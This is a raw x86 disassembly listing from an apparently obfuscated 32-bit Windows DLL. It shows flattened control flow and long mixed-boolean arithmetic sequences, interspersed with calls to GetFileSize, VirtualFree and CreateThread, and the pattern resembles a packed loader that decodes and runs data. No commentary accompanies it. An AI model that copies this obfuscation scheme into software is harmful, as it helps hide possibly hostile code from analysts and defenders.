and bh, al
xor dl, bh
xor bh, 1
or bh, al
xor bh, 1
or bh, dl
and dh, bl
xor dh, 1
mov dl, bl
xor dl, dh
or dh, bl
xor dh, 1
or dh, dl
xor dh, bh
mov dl, al
xor dl, bl
or bl, al
xor dh, 1
xor bl, 1
or bl, dl
mov al, dh
xor al, bl
or bl, dh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
or bl, dl
mov al, ch
xor al, 1
mov cl, ch
and cl, al
xor cl, 1
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, 1
mov dh, dl
xor dh, cl
or cl, bl
xor cl, 1
and dh, bl
or dh, cl
xor dh, dl
and dh, bl
or al, bl
mov ch, al
xor ch, 1
mov cl, al
mov bl, dh
and bl, ch
or al, dh
xor ch, dh
and ch, dh
xor dh, 1
and cl, dh
or bl, cl
xor dh, bl
and dh, bl
xor al, 1
or ch, al
mov cl, dh
xor cl, 1
xor ch, 1
mov al, dh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dh
xor al, ch
xor al, 1
or ch, cl
xor ch, 1
or ch, al
mov cl, byte [ebp - 0x1c]
mov al, cl
movzx edx, byte [ebp - 0x18]
or al, dl
xor al, 1
mov dh, byte [ebp - 0x14]
xor ah, dh
or ah, al
mov al, ah
xor al, 1
or dh, cl
xor dl, cl
and dl, cl
xor dl, 1
mov cl, dh
xor cl, dl
or dl, dh
xor dl, 1
or dl, cl
mov cl, dl
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor al, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov cl, dl
xor cl, 1
mov dh, ah
xor dh, 1
mov bl, ah
and bl, cl
mov al, dl
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov bh, al
xor bh, 1
and bh, ah
or ah, dl
and dl, dh
or dl, bl
and al, dh
or al, bh
xor dh, cl
xor ah, 1
or ah, dh
xor al, 1
mov cl, al
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, dl
xor ah, 1
and cl, ah
or ah, al
and al, dl
or al, cl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov cl, al
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov dh, al
xor dh, 1
mov dl, al
and dl, dh
xor dl, 1
mov cl, dl
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov bh, cl
xor bh, ah
and bh, dl
mov bl, bh
xor bl, 1
and al, bl
or bl, dh
and bh, dh
or bh, al
mov al, bh
and bh, bl
xor bl, 1
xor al, 1
mov dh, bl
xor dh, al
and dh, bl
and al, bl
mov bl, ch
xor bl, 1
or al, bh
or al, dh
mov dh, bl
or dh, al
xor al, 1
or al, ch
mov bh, al
xor bh, dh
or al, dh
xor al, 1
or al, bh
mov dh, ch
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, ch
mov bh, dh
xor bh, 1
and bh, ah
and dh, dl
or dh, bh
xor bl, cl
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov dl, bl
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, dh
xor dl, 1
and cl, dh
and dl, ah
or dl, cl
mov cl, dh
xor cl, ah
or ah, dh
xor ah, 1
or ah, cl
xor dl, 1
mov ecx, edx
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, dl
mov ch, al
and ch, cl
or dl, al
xor cl, al
and cl, al
xor al, 1
and ah, al
or ch, ah
xor al, ch
and al, ch
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, 1
mov ah, cl
xor ah, 1
mov ch, ah
and ch, al
xor ah, dl
and dl, cl
or dl, ch
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov esi, 0xddef3c43
mov eax, 0xb4be65a
cmovne esi, eax
test cl, 1
mov eax, 0xddef3c43
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x1000f9b0
cmp eax, 0xd6f3772e
je 0x10025dc5
cmp eax, 0xddef3c43
jne 0x1000f9b0
mov eax, 0x2c5d82f8
jmp 0x1000f9b0
cmp eax, 0x59839039
je 0x1002686e
cmp eax, 0x5f6d7e18
jne 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0xf299d80
jmp 0x1000f9b0
cmp eax, 0xb99bae2c
je 0x10026884
cmp eax, 0xbc3fb3df
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
mov eax, ecx
xor eax, 0x921ec27a
and eax, ecx
mov ebx, ecx
mov dword [ebp - 0x18], ecx
mov esi, edi
or esi, eax
not eax
and eax, 0x6de13d85
and esi, 0x921ec27a
or esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, esi
and eax, 0xfa56a29b
and esi, 0x5a95d64
or esi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xdd2ba0e1
and edx, 0x22d45f1e
or edx, ecx
mov ecx, esi
xor ecx, 0x2254021a
xor esi, 0x5a95d64
or eax, esi
and esi, 0xdd2ba0e1
and ecx, 0x22d45f1e
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4024443
xor eax, 0xa339b93c
and eax, ecx
and ecx, 0x58c40280
or ecx, edx
xor ecx, 0x58c40280
or eax, ecx
mov ecx, eax
xor ecx, 0xa339b93c
xor eax, 0x5cc646c2
mov edx, eax
and edx, 1
and ecx, 0xfffffffe
or ecx, edx
xor eax, ecx
and eax, ecx
mov ecx, ebx
and ecx, 0xfffffffe
mov edx, edi
mov dword [ebp - 0x1c], edi
and edi, 1
or edi, ecx
mov ecx, edx
and ecx, 0xfffffffe
or edi, ecx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x3732457f
and esi, edi
and edi, 0xc8cdba80
or edi, ecx
mov ecx, edi
xor ecx, 0x813080
xor edi, 0x3732457f
mov edx, edi
and edx, 0xfa5cce53
and ecx, 0x5a331ac
or ecx, edx
mov edx, esi
not edx
or edi, edx
and edx, 0xfa5cce53
and esi, 0x5a331ac
or esi, edx
xor esi, ecx
not edi
or edi, esi
mov esi, edi
not esi
and edi, 0x5900001f
and esi, 0xa6ffffe0
or esi, edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x741fb79a
mov edx, eax
and edx, 0x8be04865
or edx, ecx
mov ecx, esi
xor ecx, 0xa6ffffe0
xor esi, 0x5900001f
mov ebx, esi
and ebx, 0xf03290d6
xor edx, esi
xor edx, 0x8be04865
and edx, ecx
and ecx, 0xfcd6f29
or ecx, ebx
mov ebx, ecx
xor ebx, 0xfcd6f29
and ebx, edi
xor ecx, 0xf03290d6
and ecx, eax
or ecx, ebx
mov ebx, ecx
xor ebx, edi
and ebx, ecx
xor edi, esi
and edi, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x6cfe5111
and edx, 0x9301aeee
or edx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0x6cfe5111
and edi, 0x9301aeee
or edi, eax
xor edi, edx
not esi
or esi, edi
mov ecx, ebx
not ecx
mov eax, ecx
and ecx, 0x3208727d
and ebx, 0xcdf78d82
or ebx, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x3208727d
and esi, 0xcdf78d82
or esi, ecx
xor esi, ebx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xf8f75a6c
and esi, 0x708a593
or esi, ecx
xor esi, eax
xor esi, 0x708a593
or edx, eax
not edx
or edx, esi
mov esi, edx
not esi
mov eax, esi
and eax, 0x7eacfcbd
mov ecx, edx
and edx, 0x81530342
or edx, eax
and ecx, 0x7a96fe4d
xor edx, 0x3c731f8d
or edx, esi
and esi, 0x856901b2
or esi, ecx
mov eax, esi
xor eax, 0x1092aa09
xor esi, 0x85410110
and esi, 0xef455554
and eax, 0x10baaaab
or eax, esi
mov ecx, eax
xor ecx, 0x10a2ab
xor eax, 0x25055450
and eax, 0x35af5c50
and ecx, 0xca50a3af
or ecx, eax
mov eax, ecx
xor eax, 0x888f409f
xor ecx, 0xca50a3af
and ecx, eax
mov esi, ecx
mov dword [ebp - 0x14], ecx
mov edi, edx
not edi
mov dword [ebp - 0x20], edi
mov eax, edx
xor eax, 0x708dfe75
and eax, edx
and edi, 0x708dfe75
or edi, eax
not ecx
mov eax, esi
or eax, 0x50093220
and eax, 0xd63b32a0
mov esi, ecx
and esi, 0x940010a
or esi, eax
mov ebx, ecx
or ebx, 0x86320080
and ebx, 0xd63b32a0
mov eax, dword [ebp - 0x14]
and eax, 0x2084cc55
or eax, ebx
xor eax, esi
mov esi, edi
xor esi, edi
not esi
and esi, eax
xor esi, edi
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0x5ae1088e
and ecx, 0xa51ef771
or ecx, eax
mov ebx, dword [ebp - 0x20]
or edi, ebx
mov eax, edi
and ebx, 0x5ae1088e
and edx, 0xa51ef771
or edx, ebx
xor edx, ecx
not eax
or eax, edx
not eax
or eax, esi
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x18]
mov eax, esi
or eax, 0x82101014
and eax, 0x9e52d8b7
mov edx, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0x20880000
or ecx, eax
mov eax, edx
or eax, 0x1c42c8a3
and eax, 0x9e52d8b7
and esi, 0x41252748
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x1000710
xor esi, 0x34c04082
and esi, 0xf6f570ce
and eax, 0x90a8f31
or eax, esi
mov esi, eax
xor esi, 0x90a8f31
xor eax, 0x92b1208c
and eax, 0x9bbb229c
mov ecx, esi
and ecx, 0x6444dd63
or ecx, eax
xor ecx, 0xcfeca3d2
and esi, 0x5457814e
or esi, ecx
mov eax, edx
or eax, 0xaba87eb1
mov edi, eax
not edi
and eax, 0x4190c7c6
mov edx, edi
and edx, 0x14470008
or edx, eax
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
mov ebx, esi
and ebx, 0x6e265c1c
mov ecx, esi
xor ecx, 0x91d9a3e3
and ecx, eax
or ecx, ebx
mov ebx, edx
xor ebx, 0xbe6f3839
mov eax, edx
xor eax, 0x2616914a
and eax, ebx
and edi, 0x10518142
or edi, eax
and edi, 0x7657d54e
xor edi, ecx
mov ecx, dword [ebp - 0x18]
mov eax, ecx
and eax, 0xf698c17
and esi, 0xf09673e8
or esi, eax
xor edx, 0x4190c7c6
or ecx, edx
mov dword [ebp - 0x18], ecx
and edx, 0x4418006
and ebx, 0xf09673e8
or ebx, edx
xor ebx, esi
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0x42dfe330
xor edi, 0x8200810
mov edx, dword [ebp - 0x18]
not edx
or edx, ebx
not edx
or edx, edi
mov edi, ecx
xor ecx, 0xbd201ccf
xor edi, 0xe9d45926
mov esi, eax
and edi, eax
mov eax, ecx
and eax, 0x89d6c7e1
and esi, 0x7629381e
or esi, eax
xor esi, 0x9eb3efdf
or esi, ecx
mov dword [ebp - 0x1c], esi
mov eax, edi
or ecx, edi
not eax
and eax, 0x54f445e9
and ecx, 0xab0bba16
or ecx, eax
mov dword [ebp - 0x18], ecx
mov edi, ecx
not edi
mov eax, edi
and eax, 0xe898c100
mov ebx, ecx
and ebx, 0x216c1
or ebx, eax
mov esi, edx
xor esi, 0x5457814e
xor edx, 0xaba87eb1
mov eax, esi
and eax, 0x1765283e
mov ecx, edx
and ecx, 0xe89ad7c1
or ecx, eax
mov eax, ecx
xor eax, esi
and eax, ecx
mov dword [ebp - 0x14], eax
and edi, edx
mov dword [ebp - 0x20], edi
mov eax, edx
and eax, 0x535bfcb2
mov ecx, dword [ebp - 0x18]
mov edx, ecx
xor edx, esi
and edx, ecx
mov dword [ebp - 0x24], edx
and ecx, esi
mov dword [ebp - 0x18], ecx
and esi, 0xaca4034d
or esi, eax
mov eax, esi
xor eax, 0xaca4034d
xor esi, 0x1202f022
and esi, 0xbe22f166
mov ecx, eax
and ecx, 0x41dd0e99
or ecx, esi
xor ecx, 0x56b826a7
and eax, 0xe89ad7c1
or eax, ecx
xor ebx, 0x216c1
or ebx, 0x1765283e
mov esi, ebx
not esi
mov ecx, esi
mov edx, dword [ebp - 0x1c]
xor ecx, edx
and ecx, esi
xor esi, ebx
and esi, edx
xor esi, ebx
or esi, ecx
mov ecx, dword [ebp - 0x14]
mov edx, ecx
not edx
mov dword [ebp - 0x1c], edx
and edx, 0xed2d2b5
and ecx, 0xf12d2d4a
or ecx, edx
mov ebx, eax
not ebx
mov edx, eax
and edx, 0x4141b516
xor eax, 0xfefc848a
and eax, ebx
and ebx, 0xbebe4ae9
or ebx, edx
mov edi, ecx
xor edi, 0xf12d2d4a
mov edx, ebx
xor edx, 0xbebe4ae9
or edx, edi
mov edi, ecx
xor edi, 0x25200
or edi, 0x72000408
xor ecx, 0x1000800
and edi, 0x72037748
and ecx, 0x1000835
or ecx, edi
mov edi, dword [ebp - 0x1c]
or edi, 0x37340
and edi, 0x72037748
mov dword [ebp - 0x1c], edi
mov edi, dword [ebp - 0x14]
and edi, 0x8cfc8082
add edi, dword [ebp - 0x1c]
xor edi, ecx
mov dword [ebp - 0x14], edi
mov ecx, ebx
xor ecx, 0x1013114
or ecx, 0xfefc848a
xor ebx, 0xa20
mov edi, ecx
and edi, 0x27aa4457
and ebx, 0x13b20
or ebx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x27aa4457
and eax, 0xd855bba8
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, dword [ebp - 0x14]
xor eax, ecx
not edx
or edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x82401851
mov edi, esi
and edi, 0x41027aa
or edi, ecx
mov ecx, edi
xor ecx, 0x102382
xor edi, 0xe14a4855
and edi, 0xe54a4c7d
and ecx, 0x2103382
or ecx, edi
or eax, 0x84400c79
and eax, 0xe54a4c7d
and esi, 0x18a58000
or esi, eax
xor esi, ecx
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x40000000
and ecx, 0x42100848
mov edi, eax
and eax, 0x844037b3
or eax, ecx
or edi, 0x2100848
and edi, 0x42100848
and edx, 0x39afc004
or edx, edi
xor edx, eax
mov ecx, edx
xor ecx, edx
not ecx
and ecx, esi
xor ecx, edx
mov esi, dword [ebp - 0x18]
or esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
mov eax, edi
not eax
mov edx, eax
and edx, 0x8e6d336
and edi, 0xf7192cc9
or edi, edx
mov edx, esi
not edx
or eax, edx
and edx, 0x8e6d336
and esi, 0xf7192cc9
or esi, edx
xor esi, edi
not eax
or eax, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x842230
and eax, 0x80185181
or eax, esi
xor eax, 0x80185181
and edx, 0x7f638c4e
or edx, eax
mov eax, edx
not eax
and edx, 0x4e04c72c
and eax, 0xb1fb38d3
or eax, edx
mov edi, eax
xor edi, 0x4e04c72c
mov edx, eax
xor edx, 0xb1fb38d3
mov esi, ecx
xor esi, 0x25ec7ad0
xor eax, 0x94174203
and eax, edx
mov ebx, esi
and esi, ecx
not ecx
and ebx, ecx
or ecx, edi
and edi, 0x25ec7ad0
or eax, edi
mov edx, ebx
not edx
mov edi, edx
and edi, 0xa0b03f45
and ebx, 0x5f4fc0ba
or ebx, edi
mov edi, esi
not edi
or edx, edi
and edi, 0xa0b03f45
and esi, 0x5f4fc0ba
or esi, edi
xor esi, ebx
not edx
or edx, esi
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov eax, ecx
not eax
mov edx, esi
not edx
mov edi, edx
and edi, 0xb1aec0b0
and esi, 0x4e513f4f
or esi, edi
or edx, ecx
and ecx, 0xb1aec0b0
and eax, 0x4e513f4f
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0xb69f3a8c
mov ecx, edx
and ecx, 0x4960c573
or ecx, esi
mov esi, ecx
xor esi, 0x820c440
xor ecx, 0xb69f3a8c
and esi, 0xbc3dc444
mov edi, ecx
and edi, 0x43c23bbb
or edi, esi
xor edi, 0x525aa040
and ecx, 0xee676404
or ecx, edi
mov esi, ecx
not esi
or eax, 0x1118131b
and edx, 0x46432400
and eax, 0xb93c531f
or eax, edx
mov edx, ecx
and ecx, 0xe7ec6eee
and esi, 0x18139111
or esi, ecx
mov ecx, eax
xor ecx, 0x8000000
xor eax, 0x46c3ace0
or edx, eax
not edx
and eax, 0xe7ec6eee
and ecx, 0x8030000
or ecx, eax
xor ecx, esi
or ecx, edx
mov edx, ecx
xor edx, 0xee676404
mov eax, ecx
xor eax, 0x11989bfb
xor ecx, 0x4ceeb26d
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x5d762996
and eax, 0xa289d669
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x845425e2
and ecx, 0x7babda1d
or ecx, eax
xor ecx, 0x845425e2
sete ch
setne al
cmp dword [0x10045904], 0xa
setge ah
setl cl
mov edx, ecx
and dl, al
mov bl, ch
and bl, ah
or bl, dl
xor bl, 1
or bl, ch
mov edx, ebx
xor dl, 1
mov dh, al
xor dh, ah
mov byte [ebp - 0x14], dh
and dh, al
or al, cl
xor dh, 1
mov bh, dh
xor bh, al
or dh, al
xor dh, 1
or dh, bh
xor dh, 1
or dh, cl
mov bh, dh
xor bh, 1
mov al, bl
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, bl
mov dl, dh
and dh, bh
xor dh, 1
mov bl, dh
xor bl, bh
or dh, bh
xor dh, 1
or dh, bl
xor al, 1
xor dl, al
xor dh, al
or al, bh
xor dh, 1
xor al, 1
or al, dh
mov dh, al
xor dh, dl
or al, dl
xor al, 1
or al, dh
xor ah, ch
xor ah, 1
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, byte [ebp - 0x14]
mov ch, ah
xor ch, 1
mov dh, ah
mov bl, ah
and dh, ch
xor dh, 1
mov ah, ch
xor ah, dh
or dh, ch
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
and dh, cl
and ah, dl
or ah, dh
and ch, dl
mov edx, ecx
xor dl, bl
and dl, cl
and cl, bl
or cl, ch
or cl, dl
xor cl, ah
and ah, cl
xor ah, 1
mov dl, ah
xor dl, cl
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
mov ah, cl
or ah, dl
xor ah, 1
xor cl, dl
or cl, ah
mov ah, cl
xor ah, 1
and cl, al
xor al, 1
mov edx, eax
xor dl, ah
and dl, al
and al, ah
or al, cl
xor dl, 1
mov ecx, eax
xor cl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
and ah, al
xor ah, 1
mov ch, ah
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ch, al
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov al, dl
xor al, ch
and al, dl
and ch, dl
xor dl, 1
xor cl, dl
and ah, dl
or ch, ah
or ch, al
mov al, ch
xor al, 1
mov edx, eax
and dl, ch
xor dl, 1
mov ah, dl
xor ah, ch
or dl, ch
xor dl, 1
or dl, ah
xor dl, cl
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xab3ba6e6
mov esi, 0x7e59af00
cmovne eax, esi
test dl, 1
cmove eax, esi
test cl, 1
mov ecx, 0xab3ba6e6
cmove eax, ecx
jmp 0x1000f9b0
cmp eax, 0x34d79ba6
je 0x1002722e
cmp eax, 0x369bb4d2
jne 0x1000f9b0
cmp byte [ebp - 0x52], 0
mov eax, 0xe19fe2d6
mov ecx, 0xb3498053
cmovne eax, ecx
jmp 0x1000f9b0
cmp eax, 0xf7a6a60c
je 0x100285e0
cmp eax, 0xf8fe572e
jne 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0xffffffffffffffaa
push dword [eax]
push dword [ecx]
call section..text
add esp, 0xc
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
push 0
push 0
push dword [eax]
push 0x1000dd70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, 0xb99bae2c
jmp 0x1000f9b0
cmp eax, 0x795172ee
jne 0x1002860d
mov eax, dword [ebp - 0x3c]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0x34d79ba6
jmp 0x1000f9b0
mov eax, 0xd62f0750
jmp 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0x2c5d82f8
jmp 0x1000f9b0
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x808f208
and esi, 0x28f8fbaa
mov edx, eax
and edx, 0x87010455
or edx, esi
mov esi, eax
and esi, 0x9ad55767
mov edi, ecx
and edi, 0x652aa898
or edi, esi
mov esi, eax
and esi, 0xa16374c0
mov ebx, ecx
and ecx, 0x5e9c8b3f
or ecx, esi
mov esi, ecx
xor esi, 0x40c0802
xor ecx, 0x622040
and ecx, 0x5af2a37d
and esi, 0xa50d5c82
or esi, ecx
xor edi, 0x714216ef
or edi, eax
xor esi, 0xa50d5c82
or esi, eax
mov dword [ebp - 0x18], esi
or eax, 0x20f009a2
and eax, 0x28f8fbaa
and ebx, 0x50060000
or ebx, eax
xor ebx, edx
mov ecx, ebx
xor ecx, 0x18046200
xor ebx, 0x82700db5
and ebx, 0xc27a9dbd
and ecx, 0x3d856242
or ecx, ebx
mov edx, ecx
xor edx, 0x14002242
or edx, 0xeb974188
mov eax, edx
not eax
and edx, 0xbf90b85f
xor ecx, 0x4203424
and ecx, eax
and eax, 0x680620
or eax, edx
mov edx, eax
xor edx, 0x406f47a0
mov esi, eax
xor esi, 0x504a1046
and esi, edx
or ecx, esi
mov esi, edi
xor esi, 0xa004226
mov ebx, edi
xor ebx, 0x80008980
and ebx, 0x91b59dc8
and esi, 0x6e4a6237
or esi, ebx
and ecx, 0xf46abe77
xor ecx, esi
xor eax, 0xbf90b85f
mov esi, eax
and esi, 0x40b203
and edx, 0x5c2f4c7c
or edx, esi
mov esi, edi
not esi
or eax, esi
and esi, 0xa3d0b383
and edi, 0x5c2f4c7c
or edi, esi
xor ecx, 0x91b59c48
xor edi, edx
not eax
or eax, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x1818a040
mov esi, ecx
or esi, 0x405228
and edx, 0x1858f268
and ecx, 0xa2250111
or ecx, edx
and esi, 0x1858f268
and eax, 0x45820c86
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0xb20211
xor eax, 0x100d6c44
and ecx, 0xa6b2831b
and eax, 0x594d7ce4
or eax, ecx
mov ecx, eax
xor ecx, 0xa6b2831b
xor eax, 0x594d7ce4
mov edx, eax
and edx, 0xab0e2200
and eax, ecx
and ecx, 0x54f1ddff
or ecx, edx
xor ecx, 0x54f1ddff
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x248c48e6
and ecx, 0xdb73b719
or ecx, edx
xor ecx, 0xdb73b719
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5eaab46b
mov esi, eax
and esi, 0xa1554b94
or esi, edx
mov edx, esi
xor edx, 0x80100200
xor esi, 0x28104a
or esi, 0x40c8a0
and esi, 0x68d9ea
and edx, 0x8e120200
or edx, esi
mov esi, ecx
or esi, 0x28114a
and esi, 0x68d9ea
mov edi, eax
and edi, 0x71852415
or edi, esi
xor edi, edx
mov dword [ebp - 0x14], edi
mov ebx, dword [ebp - 0x18]
mov edx, ebx
not edx
mov esi, ebx
and esi, 0x40201367
mov edi, edx
and edi, 0x2000a018
or edi, esi
xor edi, 0x2000a018
and ebx, 0x9fdf4c80
or ebx, edi
mov dword [ebp - 0x1c], ebx
mov esi, dword [ebp - 0x14]
mov ebx, esi
xor ebx, 0x71c5ecb5
mov dword [ebp - 0x20], ebx
xor esi, 0x8e3a134a
mov dword [ebp - 0x14], esi
and esi, 0x4f05ec40
mov edi, ebx
and edi, 0xb0fa13bf
or edi, esi
mov esi, ecx
and esi, 0x67895ad7
and eax, 0x9876a528
or eax, esi
xor ecx, eax
and ecx, eax
mov esi, dword [ebp - 0x1c]
mov eax, esi
not eax
mov dword [ebp - 0x24], eax
and eax, 0x6a473413
mov ebx, esi
and ebx, 0x95b8cbec
or ebx, eax
xor ebx, 0xf231913b
mov esi, ebx
xor esi, dword [ebp - 0x24]
and esi, ebx
mov ebx, dword [ebp - 0x18]
mov eax, ebx
and eax, 0x67895ad7
and edx, 0x9876a528
or edx, eax
xor ebx, edx
and ebx, edx
xor edi, 0x288cb697
or edi, dword [ebp - 0x14]
mov edx, ecx
and ecx, edi
not edi
not edx
mov eax, edi
xor eax, edx
and eax, edi
and edx, edi
or edx, ecx
or edx, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
not ecx
mov dword [ebp - 0x2c], ecx
mov eax, ebx
xor eax, 0x4085ead1
and eax, ecx
and ebx, 0xbf7a152e
or ebx, eax
mov dword [ebp - 0x30], ebx
mov edi, esi
not edi
mov eax, esi
xor eax, 0x4085ead1
mov edx, eax
and edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xbdf91dca
and edx, 0x4206e235
or edx, ebx
and eax, esi
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xbdf91dca
and eax, 0x4206e235
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
xor ecx, dword [ebp - 0x30]
mov eax, esi
and eax, 0x7523691d
and edi, 0x8adc96e2
or edi, eax
mov eax, dword [ebp - 0x18]
or esi, eax
and eax, 0x7523691d
mov edx, eax
mov eax, dword [ebp - 0x2c]
and eax, 0x8adc96e2
or eax, edx
xor eax, edi
not esi
or esi, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xb351e9f0
and ecx, 0x4cae160f
or ecx, eax
xor ecx, esi
or edx, esi
xor ecx, 0x4cae160f
not edx
or edx, ecx
mov ebx, dword [ebp - 0x28]
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x3821bbd0
and ebx, 0xc7de442f
or ebx, ecx
or eax, edx
not edx
xor ebx, 0x3821bbd0
or ebx, edx
mov ecx, eax
xor ecx, ebx
or ebx, eax
not ebx
or ebx, ecx
mov eax, dword [ebp - 0x14]
and eax, 0x42837e26
mov edx, dword [ebp - 0x20]
mov edi, edx
and edi, 0xbd7c81d9
or edi, eax
xor edi, 0xbd7c81d9
mov ecx, edi
and ecx, 0x817e7afd
and edx, 0x7e818502
or edx, ecx
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x1c]
xor ecx, 0x817e7afd
mov eax, dword [ebp - 0x24]
and ecx, eax
mov esi, ecx
not esi
mov edx, esi
and edx, 0xe89f01f
and ecx, 0xf1760fe0
or ecx, edx
or edi, eax
or eax, 0x817e7afd
or esi, eax
and eax, 0xe89f01f
mov edx, dword [ebp - 0x1c]
and edx, 0x70000500
or edx, eax
xor edx, ecx
not esi
or esi, edx
xor esi, dword [ebp - 0x20]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xc0fd2a47
and esi, 0x3f02d5b8
or esi, edx
xor esi, edi
xor esi, 0x3f02d5b8
or ecx, edi
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x601a2800
mov esi, ecx
and esi, 0x17214140
or esi, edx
mov edx, esi
xor edx, 0x13204140
xor esi, 0x20d2b2b0
or eax, 0x24132000
and esi, 0x24d3b2b0
and edx, 0x53284940
or edx, esi
and eax, 0x24d3b2b0
and ecx, 0x8804040f
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0x8040163b
xor ecx, 0x773b6940
mov edx, ecx
and edx, 0x4896e9c4
